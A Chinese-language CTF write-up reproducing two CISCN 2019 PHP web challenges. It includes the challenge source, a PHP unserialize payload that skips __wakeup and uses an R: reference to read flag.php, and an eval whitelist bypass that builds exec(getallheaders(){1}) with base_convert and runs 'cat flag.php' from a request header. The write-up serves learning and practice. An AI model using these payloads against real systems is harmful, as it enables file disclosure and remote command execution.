2019CISCN web題賽-JustSoSo;love_math(復現)
0x00前言
這幾天從網上找個CMS源碼開始練習審計,盯著眾多的代碼debug調呀調頭暈腦脹的,還不錯找到個文件讀取和一個ssrf...
上月底結束的CISCN線上賽,web四道,仔細研究的2道,做出了一道,剛好比賽時順手把源碼弄了下來,結合賽後師傅們的writeup復現一下這兩道
0x01JustSoSo
有3個文件,index.php和hint.php可以通過文件filter來讀取,而flag.php需要利用反序列化來讀取
index.php
<?php error_reporting(0); $file = $_GET["file"]; $payload = $_GET["payload"]; if(!isset($file)){ echo ‘Missing parameter‘.‘<br>‘; } if(preg_match("/flag/",$file)){ die(‘hack attacked!!!‘); } @include($file); if(isset($payload)){ $url = parse_url($_SERVER[‘REQUEST_URI‘]); parse_str($url[‘query‘],$query); foreach($query as $value){ if (preg_match("/flag/",$value)) { die(‘stop hacking!‘); exit(); } } $payload = unserialize($payload); }else{ echo "Missing parameters"; } ?>
hint.php
<?php class Handle{ private $handle; public function __wakeup(){foreach(get_object_vars($this) as $k => $v) { $this->$k = null; } echo "Waking up\n"; } public function __construct($handle) { $this->handle = $handle; } public function __destruct(){ $this->handle->getFlag(); } } class Flag{ public $file; public $token; public $token_flag; function __construct($file){ $this->file = $file; $this->token_flag = $this->token = md5(rand(1,10000)); } public function getFlag(){ $this->token_flag = md5(rand(1,10000)); if($this->token === $this->token_flag) { if(isset($this->file)){ echo @highlight_file($this->file,true); } } } } ?>
入口在index.php中的
$payload = unserialize($payload);
這一行代碼,通過GET傳入,因為不能直接讀flag,所以file中不能包含flag字段,但是payload中的waf可以繞過
整個利用要繞過3個點
1、利用http:/127.0.0.1///file=hint&payload=flag中的///來繞過payload中對$_SERVER[‘REQUEST_URI‘]的檢驗
參考文章:http://www.am0s.com/functions/406.html
2.利用反序列化被__wakeup()時,如果序列化字符串包含的成員數和實際數不想合導致__wakeup()不被執行的繞過
3.利用R來繞過md5隨機生成的檢驗
為什麽可以這麽繞過,可以參考這篇文章http://www.neatstudio.com/show-161-1.shtml,簡單介紹了下R是什麽參數
文章中提到了R是指針引用,這裏就詳細插敘描述下使用方法
插入
<?php class siji{ public $int; public $str; public $str_tmp; public $int_tmp; public $md5; public $md5_tmp; } $clzz = new siji(); $clzz->int = 1; $clzz->str = "hello"; $clzz->md5 = md5(rand(1,10000)); $clzz->int_tmp = &$clzz->int; $clzz->str_tmp = &$clzz->str; $clzz->md5_tmp = &$clzz->md5; echo serialize($clzz); //O:4:"siji":6:{s:3:"int";i:1;s:3:"str";s:5:"hello";s:7:"str_tmp";R:3;s:7:"int_tmp";R:2;s:3:"md5";s:32:"17d8da815fa21c57af9829fb0a869602";s:7:"md5_tmp";R:4;}
可以看到如果使用引用那麽題目中的R是4位的,根據引用目標的值不同R:num,這個num是不同的
<?php class siji{ public $int; public $str; public $str_tmp; public $int_tmp; public $md5; public $md5_tmp; } $clzz = new siji(); $clzz->int = 1; $clzz->str = "hello"; $clzz->md5 = md5(rand(1,10000)); $clzz->int_tmp = &$clzz->int; $clzz->str_tmp = &$clzz->str; $clzz->md5_tmp = &$clzz->md5; $ser = serialize($clzz); echo $ser . "<br>"; //O:4:"siji":6:{s:3:"int";i:1;s:3:"str";s:5:"hello";s:7:"str_tmp";R:3;s:7:"int_tmp";R:2;s:3:"md5";s:32:"17d8da815fa21c57af9829fb0a869602";s:7:"md5_tmp";R:4;} $clzz2 = unserialize($ser); echo "<hr>"; echo "md5 is:" . $clzz2->md5 . ",md5_tmp is:" . $clzz2->md5_tmp . "<br>"; //md5 is:3cef96dcc9b8035d23f69e30bb19218a,md5_tmp is:3cef96dcc9b8035d23f69e30bb19218a $clzz2->md5 = md5(rand(1,10000)); echo "md5 is:" . $clzz2->md5 . ",md5_tmp is:" . $clzz2->md5_tmp . "<br>"; //md5 is:52bdba949576e6bcec5682a4993bfb58,md5_tmp is:52bdba949576e6bcec5682a4993bfb58
那麽在反序列化後對md5成員進行改變,md5_tmp成員會跟著一起改變,畢竟他是指向md5的值的
插入結束
生成payload的payload.php
<?php class Handle{ private $handle; public function __construct($handle) { $this->handle = $handle; } } class Flag{ public $file; public $token; public $token_flag; function __construct($file){ $this->file = $file; //$this->token_flag = $this->token = md5(rand(1,10000)); } } $class1 = new Flag("flag.php"); $class2 = new Handle($class1); $tmp1 = serialize($class2); echo $tmp1 ."<hr>"; $tmp2 = str_replace(":1:",":2:", $tmp1); $tmp3 = str_replace("token_flag\";N;","token_flag\";R:4;",$tmp2); echo $tmp3 ."<hr>"; echo urlencode($tmp3); ?>
能夠直接讀取到flag.php文件了,最終payload如下(我這裏本地測試的,flag.php文件自己隨手寫的)
http://127.0.0.1///cc/index.php?file=hint.php&payload=O%3A6%3A%22Handle%22%3A2%3A%7Bs%3A14%3A%22%00Handle%00handle%22%3BO%3A4%3A%22Flag%22%3A3%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A5%3A%22token%22%3BN%3Bs%3A10%3A%22token_flag%22%3BR%3A4%3B%7D%7D
吐槽下比賽的時候真的真的沒有想到第三點的繞過,寫了python腳本爆破md5,在本地能夠十分鐘左右跑出來,掛在比賽服務器上就被知道創於的waf給攔截了,因為跑的太快。最後沒發送一次sleep 1秒,2臺電腦跑了1個小時,終於撞出來了,費力不討好的非預期解法2333
0x02love_math
先直接上源碼,目的是讀取flag.php文件
<html> <meta charset="utf-8"> </html> <?php error_reporting(0); //聽說你很喜歡數學,不知道你是否愛它勝過愛flag if(!isset($_GET[‘c‘])){ show_source(__FILE__); }else{ //例子 c=20-1 $content = $_GET[‘c‘]; if (strlen($content) >= 80) { die("太長了不會算"); } $blacklist = [‘ ‘, ‘\t‘, ‘\r‘, ‘\n‘,‘\‘‘, ‘"‘, ‘`‘, ‘\[‘, ‘\]‘]; foreach ($blacklist as $blackitem) { if (preg_match(‘/‘ . $blackitem . ‘/m‘, $content)) { die("請不要輸入奇奇怪怪的字符"); } } //常用數學函數http://www.w3school.com.cn/php/php_ref_math.asp $whitelist = [‘abs‘, ‘acos‘, ‘acosh‘, ‘asin‘, ‘asinh‘, ‘atan2‘, ‘atan‘, ‘atanh‘, ‘base_convert‘, ‘bindec‘, ‘ceil‘, ‘cos‘, ‘cosh‘, ‘decbin‘, ‘dechex‘, ‘decoct‘, ‘deg2rad‘, ‘exp‘, ‘expm1‘, ‘floor‘, ‘fmod‘, ‘getrandmax‘, ‘hexdec‘, ‘hypot‘, ‘is_finite‘, ‘is_infinite‘, ‘is_nan‘, ‘lcg_value‘, ‘log10‘, ‘log1p‘, ‘log‘, ‘max‘, ‘min‘, ‘mt_getrandmax‘, ‘mt_rand‘, ‘mt_srand‘, ‘octdec‘, ‘pi‘, ‘pow‘, ‘rad2deg‘, ‘rand‘, ‘round‘, ‘sin‘, ‘sinh‘, ‘sqrt‘, ‘srand‘, ‘tan‘, ‘tanh‘]; preg_match_all(‘/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/‘, $content, $used_funcs); foreach ($used_funcs[0] as $func) { if (!in_array($func, $whitelist)) { die("請不要輸入奇奇怪怪的函數"); } } eval(‘echo ‘.$content.‘;‘); }
看懂waf的原理,大致要求是這樣的
1.payload長度不能超過80
2.payload中不能包含‘ ‘, ‘\t‘, ‘\r‘, ‘\n‘,‘‘‘, ‘"‘, ‘`‘, ‘[‘, ‘]‘ 這些字符
3.payload中不能有不是$whitelist白名單裏面的單詞出現,比如
abs(1)能過
1abs()能過
absa()不能過
abs(a)不能過
abs()a不能過
最先我想的是用拼接裁剪的方式把payload組合出來,我極限組合在77字符能把phpinfo給組合出來,但是getflag,怎麽也會超長度
$pi=hypot.min.fmod;$pi=$pi{2}.$pi{0}.$pi{2}.$pi{6}.$pi{7}.$pi{8}.$pi{3};$pi()
然後考慮是不是touch個文件,進行把命令拆分寫入文件,再執行文件,但是失敗了
最後看了writeup發現在眾多函數中有個base_convert
()函數,這個才是解題的關鍵
先看看函數的用法https://www.runoob.com/php/func-math-base-convert.html
在看這道題writeup之前,我的認知還停留在16進制會帶個abcdef,殊不知還可以到36進制,可以帶所有小寫字母
有了這個函數就能大大減短payload了
如果直接使用讀取文件函數file_get_contents中包含下劃線不在我們36進制中,並且base_convert第一個參數太長會溢出,也就是10進制數沒法無限大
最後的方法是借助getallheader()來控制請求頭,通過請求頭的字段讀取flag.php
這裏也就類似於$_GET,$_POST之類的,但是因為只能控制小寫字符,所以大寫的直接被pass掉
getallheader()返回的是數組,要從數組裏面取數據用array[‘xxx‘],但是無奈[]被waf了,因為{}中是可以帶數字的,這裏用getallheader(){1}可以返回自定義頭1裏面的內容
這裏因為php版本問題,我windows下php7.0前的所有版本對於getallheader進行30-36的進制轉換,再轉換回來的時候都存在溢出,也就是無法把10進制數變回getallheader
最終再linux下使用的php7.3版本能夠在10進制與30進制之間轉換
最後的payload如下
$pi=base_convert,$pi(696468,10,36)(($pi(8768397090111664438,10,30))(){1})
//exec(getallheaders(){1})
操作xx和yy,中間用逗號隔開,echo都能輸出
echo xx,yy
並且在請求頭上加上1:cat flag.php字段即可
0xff結語
當成遊戲玩CTF很有趣啊,但是要去掙個名次什麽的還是很有壓力,多虧了神仙隊友才得以晉級orz。
這兩道題的源碼在復現的過程中全部有給出,有興趣的同學也可以copy下自己搭波環境
2019CISCN web題賽-JustSoSo;love_math(復現)